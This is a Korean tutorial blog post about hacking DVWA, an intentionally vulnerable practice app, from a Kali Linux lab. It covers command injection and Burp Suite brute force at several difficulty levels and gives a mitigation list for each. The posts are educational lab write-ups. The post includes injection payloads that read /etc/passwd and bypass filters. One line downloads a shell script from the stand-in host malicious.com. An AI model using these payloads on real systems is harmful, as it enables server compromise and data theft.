본문 바로가기
IT_정보보안/웹 모의해킹 프로젝트

34. 웹 모의해킹 실습 (1) : DVWA 환경 구성 및 Command injection, Brute Force

by jys275 2024. 9. 22.

모의해킹은 우리가 직접 시나리오를 세우는 과정에서

취약점 진단의 매뉴얼로서 나와 있는 과정들도 당연히 활용할 수 있을 것이다.

 

하지만 그 밖에 여러 가지 도구를 사용하거나, 다른 사람들이 사용했던 기술들과 같이

여러 가지를 복합적으로 응용하여 이를 기반으로 여러 가지 방법들을 세운다고 할 수 있다.

 

즉 앞으로의 모의해킹 실습 과정에서는 여러 가지 고민을 하는 과정 또한 최대한 담아내고자 한다.

 


 

 

KALI LINUX(칼리 리눅스)

 

 

앞으로 DVWA를 기반으로 모의해킹 실습을 진행하기 위해서 칼리 리눅스를 활용할 예정이다.

 

개념
Kali Linux는 모의 해킹을 위한 리눅스 배포판으로, 

보안 전문가들이 주로 사용하는 다양한 도구들이 기본적으로 설치된 상태로 제공된다.

즉, 별도의 프로그램 설치 없이 바로 테스트를 시작할 수 있다. 

 

예를 들어, Burp Suite도 Kali Linux에 기본적으로 포함되어 있어 웹 애플리케이션의 취약점 분석을 바로 진행할 수 있다.

설치과정

1. https://www.kali.org/get-kali/#kali-platforms 접속 후, Virtual Machines(VMware) 버전 파일 설치

 

Get Kali | Kali Linux

Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.

www.kali.org

 

2. VMware 상에서 kali linux 파일을 실행한다.

 

 

DVWA(Damn Vulnerable Web Application)

 

 

개념

DVWA는 보안 연구 및 교육 목적으로 개발된 취약한 웹 애플리케이션이다.

주로 보안 전문가, 학생, 그리고 해커들이 웹 애플리케이션 보안 테스트 및 모의 해킹 실습을 위해 사용한다.

즉, DVWA는 의도적으로 여러 보안 취약점을 포함하고 있어,

사용자들이 실제 환경에서 발생할 수 있는 다양한 보안 문제를 실습하며 이해할 수 있도록 한다.

 

이를 통해 보안 취약점의 원인과 이를 방어하는 방법을 배울 수 있다.

 

설치과정

현재 DVWA는 공식 웹사이트 대신 깃허브를 통해 제공되는 형식이다.

https://youtu.be/WkyDxNJkgQ4?si=TXGadBZOdEkBSZ31

DVWA 설치 가이드

위의 DVWA 공식 깃허브 페이지에 소개된 설치 영상을 참고하여 DVWA 설치를 진행하였다.

설치과정 1
설치과정 2
설치과정 3
설치과정 4
url include, 에러 기능 활성화
업로드 디렉토리 권한 설정
DVWA 설치 완료

 

 


 

 

command injection

 

 

개념
애플리케이션이 사용자로부터 받은 입력값을 제대로 검증하지 않고, 

이를 시스템 명령어로 직접 실행하는 경우를 노리고 공격하는 유형이다. 

즉, 서버 측에서 사용자의 입력을 신뢰하고 이를 그대로 명령어에 사용하면, 

 

공격자가 입력값에 임의의 명령어를 추가하거나 변경하여 

서버의 권한을 획득하거나 파일 정보 유출, 시스템 장악을 시도할 수 있다.

예를 들어, 사용자가 IP 주소를 입력했을 때, ping 명령어를 실행하고 결과를 반환하는 웹 페이지가 존재하고 

 

해당 웹 페이지가 입력값을 제대로 검증하지 않는다면, 공격자는 IP 주소만을 입력하는 것이 아닌 

시스템 명령어를 뒤에 추가하여 웹 서버가 또 다른 결과를 전달하도록 유도하는 것이다.

실습(Low Level)

아래와 같이 해당 웹 페이지는 IP 주소를 입력하였을 때, 시스템 명령인 ping 명령을 실행한 결과를 반환하는 것을 볼 수 있다.

 

이와 같이 웹에서 시스템 명령이 실행된다는 것은 OS에게 시스템 명령을 호출한다는 의미이므로,

command injection 공격이 가능할 수 있다고 추측할 수 있는 것이다.

해당 웹의 소스코드를 살펴보았을 때, shell_exec() 함수를 통해 시스템 명령을 실행하는 것을 확인할 수 있다. 

 

; ls

현재 디렉토리의 파일 목록을 나열한다.

쉘 명령어에서 ' ; '는 이전 명령어가 성공하든 실패하든 다음 명령어를 실행하라는 의미이다. 

따라서 ping <IP>; ls를 입력하면, ping 명령을 실행한 후 ls 명령어를 실행하여 서버의 현재 디렉토리에 있는 파일 목록을 보여준다.

; cat /etc/passwd

cat 명령을 실행하여 시스템의 사용자 계정 정보를 담고 있는 /etc/passwd 파일의 내용을 출력한다.

 

; wget http://malicious.com/shell.sh -O /tmp/shell.sh

악성 스크립트를 다운로드한다.

wget은 파일을 다운로드하는 명령어이므로, <IP>; wget http://malicious.com/shell.sh -O /tmp/shell.sh을 통해 

malicious.com에서 스크립트를 다운로드해 /tmp/ 디렉토리에 저장한다. 

 

공격자는 이러한 형태로도 공격을 시도할 수 있고, 이후 이 스크립트를 실행할 수 있다.

| whoami

현재 명령어를 실행하는 사용자의 이름을 출력한다.

' | '는 앞 명령의 출력 결과를 뒤 명령의 입력으로 전달하는 파이프(pipe) 연산자이다.

<IP> | whoami는 ping 명령의 결과와 상관없이, 현재 명령을 실행 중인 사용자의 계정명을 출력한다.

&& ifconfig

네트워크 인터페이스의 설정 정보를 출력한다.

' && '는 앞의 명령이 성공했을 때만 뒤의 명령을 실행하도록 한다.

 

<IP> && ifconfig는 ping 명령이 성공적으로 실행된 후에 ifconfig 명령을 실행하여,

네트워크 인터페이스의 IP 주소, 서브넷 마스크, 브로드캐스트 주소 등을 표시하여 서버의 네트워크 구성 정보를 확인할 수 있다.


실습(Medium Level)

Medium Level에서는 ‘&&’, ‘;’ 메타문자를 통한 명령이 실행되지 않는다.

소스코드를 확인해 보면, ‘&&’, ';’ 두 메타문자를 공백으로 치환하여 대응방안을 적용해 놓은 것을 확인할 수 있다.

 

& uname -a

시스템의 커널 버전 및 운영 체제 정보를 출력한다.

&는 앞의 명령이 성공했든 실패했든 상관없이 두 번째 명령을 실행한다.

uname -a는 서버의 운영 체제 정보, 커널 버전 등을 출력하는 명령어로, 시스템의 환경 및 취약점을 파악하는 데 유용하다.

즉, 위와 같이 ‘&&’, ‘;’ 외의 다른 메타문자인 ‘&’를 사용하니 Medium Level에서도 공격이 성공한 것을 확인할 수 있다.

 

 

실습(High Level)

이전 두 레벨과는 다르게 High Level에서는 공격에 활용될 수 있는 대부분의 메타문자를 필터링한 것을 확인할 수 있다.

이러한 경우 우회하여 공격하는 방법은 코드에서의 실수 또는 허점을 찾아야 한다.

해당 소스코드에서는 ‘|’ 문자 필터링을 뒷 공백을 지우지 않아 허점이 존재한다.

 

|cat /etc/passwd

‘|’ 뒷 공간에 공백을 남겨두지 않고 명령을 입력하자 아래와 같이, High Level에서도 명령이 실행되는 것을 확인할 수 있다.

 

 

실습(Impossible Level)

Impossible Level에서는 공격 가능한 메타문자를 공백으로 치환하는 방식이 아닌, 

입력값 자체를 올바른 IP 주소가 입력되었는지 검증한다.

‘ . ’을 기준으로 입력값을 slice 후 총 4개로 slice 되었는지 확인하고 IP의 형태를 띄는지 확인하여,

다른 입력이 추가되어 입력될 수 있는 경우를 원천 차단하는 형식이다.

 

즉, 해당 Level은 command injection 공격이 불가능한 형태이다.

 

 

대응방안

  1. 입력값 검증 : 사용자 입력을 사용하기 전에 반드시 안전한지 검증하고, 
    필요한 경우 허용된 값만 사용하도록 화이트리스트 방식을 적용한다. 

  2. 명령어 결합 차단 : 쉘 명령어에서 사용할 수 있는 메타문자(;, | 등)를 필터링하거나 제거한다.

  3. 최소 권한 실행: 애플리케이션이 실행되는 환경에서 최소한의 권한만 부여해, 명령어 실행 시 피해를 줄인다.

    법적으로도  감독규정, 전자금융거래법, 정보통신망법 등과 같이 이러한 법에서도 명시하고 있는 내용들에
    '사용자한테 권한을 부여를 할 때는 정말로 그 사용자가 필요한 최소한의 권한으로만 부여를 해야 된다'라는 내용들이
    규정 내에서도 명시가 되어 있다.

 

 


 

 

Brute Force

 

 

개념
무차별 대입 공격이라고 불리며, 일반적으로 비밀번호나 인증 시스템을 대상으로 하며, 

수많은 비밀번호 또는 키를 대입하여 정답을 찾아내는 방식으로 이루어진다.

즉, 컴퓨터 시스템에서 암호, 암호화 키 또는 기타 보호된 데이터에 

무차별적으로 접근하기 위해 모든 가능한 조합을 시도하는 공격 방식이다.

Brute Force 공격의 핵심은 모든 가능한 조합을 체계적으로 시도하여 목표를 달성하는 것이다. 

 

공격자는 보통 비밀번호나 인증 토큰이 일치할 때까지 가능한 모든 경우의 수를 시도하며, 

암호화 방식이 강력하지 않거나 비밀번호가 짧고 간단할수록, 이 공격이 성공할 확률이 높아진다.

 

실습(Low Level)

Username은 admin, Password 만을 모른다는 가정하에 Brute force 공격을 시도한다.


무작위로 작성한 Password를 통해 로그인을 시도하고 Burp Suite의 'Proxy' → 'Intercept' 탭에서 패킷을 가로챈다.

이후 Brute Force를 위해 'Send to Intruder' 클릭 후, 'Intruder' 탭으로 이동한다.

무작위로 작성한 password인 '1234'를 마킹 처리 후 'Add' 버튼을 클릭한다.


'Payloads' 탭 이동 → 'Load' 클릭 → 칼리리눅스에서 일반적으로 제공하는

password 리스트( /usr/share/john/password.list) 선택 → 'Start attack' 클릭


아래와 같이 Payload가 'password'인 Request의 'Length'만 다른 Payload와는 다르다는 것을 확인할 수 있다.


password Payload의 'Response' 탭 확인 시, 

“Welcome to the password protected area”로 로그인에 성공하였다는 메시지를 확인할 수 있다.

즉, admin의 패스워드는 “password”임이 확인되었다.

Username : admin, Password : password 입력 후 로그인 시, 로그인 성공 화면을 확인할 수 있다.



실습(Medium Level)

Medium Level의 소스코드를 살펴보면, Low Level과는 다르게 로그인 실패 시 약 2초간의 지연 시간이 존재한다.
즉, 로그인 실패 시 페이지가 표시되기까지 약 2초의 시간을 더 기다려야 한다는 것이다.

이는 Low Level 보다 Brute Force 공격 시 소요되는 시간이 더 길어진다는 의미이지만,

결국 Low Level과 동일하게 하나씩 패스워드를 대입해 보면 공격에 성공하게 된다.

 

 

실습(High Level)

High Level의 경우는 로그인 실패 시 지연 시간을 2초로 정해두지 않고, 

0~3초 사이의 랜덤한 값으로 지정하고, 페이지를 로드할 때마다 변경되는 CSRF 토큰 검사 또한 포함하였다.

지연 시간을 고정된 상수로 지정한다면 공격자는 해당 시간을 추측하고,

이를 활용해 응답이 오지 않는다면 틀린 것으로 간주 후 빠르게 다시 공격을 시도할 수 있는 것이다.

즉, 비밀번호가 맞든 틀리든 랜덤한 지연 시간을 만들어내 공격자 입장에서 

로그인에 성공하였는지 눈치채기 힘들도록 보안 조치를 해놓은 것이다.

 

이러한 방식은 공격자가 공격을 자동화시키기 다소 어려워졌기 때문에 여타 Level들 보다는 보안이 강화되었다고 할 수 있다.


실습(Impossible Level)

Impossible Level의 경우는 로그인 실패 시 다음과 같은 안내 문구를 표시하는데, 

이는 15분 동안 로그인을 시도할 수 없다는 것을 의미한다. 

이는 Brute Force 공격을 시도하기에는 굉장히 많은 시간이 걸릴 것이기 때문에 사실상 공격이 불가능한 형태라고 할 수 있다.

 

 

대응방안

  1. 복잡한 비밀번호 요구 : 대소문자, 숫자, 특수문자를 포함한 복잡하고 긴 비밀번호는 
    실행 시간을 기하급수적으로 늘리기 때문에 Brute Force 공격에 대한 방어력을 높인다.

  2. 로그인 시도 횟수 제한 : 시스템에서 로그인 실패 시도 횟수를 제한하여 일정 시간 동안 로그인 잠금 등의 조치를 취한다.

  3. CAPTCHA 기능 적용 : CAPTCHA 기능은 사람이 아닌 봇을 차단하기 위해 사용된다.
    자동화된 도구는 CAPTCHA를 통과할 수 없기 때문에 Brute Force 공격을 방지할 수 있다.
  4. 다중 인증 적용 : 비밀번호 외에도 추가적인 인증 수단(SMS, 이메일 확인 등)을 요구함으로써,
    공격자가 비밀번호를 알아내더라도 추가 인증을 통과하지 못하도록 만든다.

 

 


 

 

다음 글에서는 CSRF, File Inclusion을 주제로 실습을 진행할 예정이다.